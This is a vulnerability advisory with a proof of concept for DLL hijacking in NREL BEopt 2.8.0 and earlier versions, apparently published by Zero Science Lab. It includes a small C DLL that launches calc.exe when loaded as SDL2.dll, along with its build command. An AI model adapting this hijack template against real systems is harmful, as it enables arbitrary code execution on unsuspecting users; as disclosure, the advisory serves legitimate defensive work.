NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution

`/*  
  
NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution  
  
  
Vendor: NREL  
Product web page: https://beopt.nrel.gov  
Affected version: 2.8.0.0, 2.7.0.0 and 2.6.0.1  
  
Summary: The BEoptaC/ (Building Energy Optimization Tool) software provides  
capabilities to evaluate residential building designs and identify cost-optimal  
efficiency packages at various levels of whole-house energy savings along  
the path to zero net energy.  
  
Desc: BEopt suffers from a DLL Hijacking issue. The vulnerability is caused  
due to the application loading libraries (sdl2.dll and libegl.dll) in an insecure  
manner. This can be exploited to load arbitrary libraries by tricking a user into  
opening a related application file .BEopt located on a remote WebDAV or SMB share.  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5513  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5513.php  
  
  
06.02.2019  
  
*/  
  
// gcc -shared -o SDL2.dll exploit.c  
  
#include <windows.h>   
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)  
{  
exec();  
return 0;  
}  
  
int exec()  
{  
WinExec("calc.exe" , SW_NORMAL);  
return 0;  
}  
`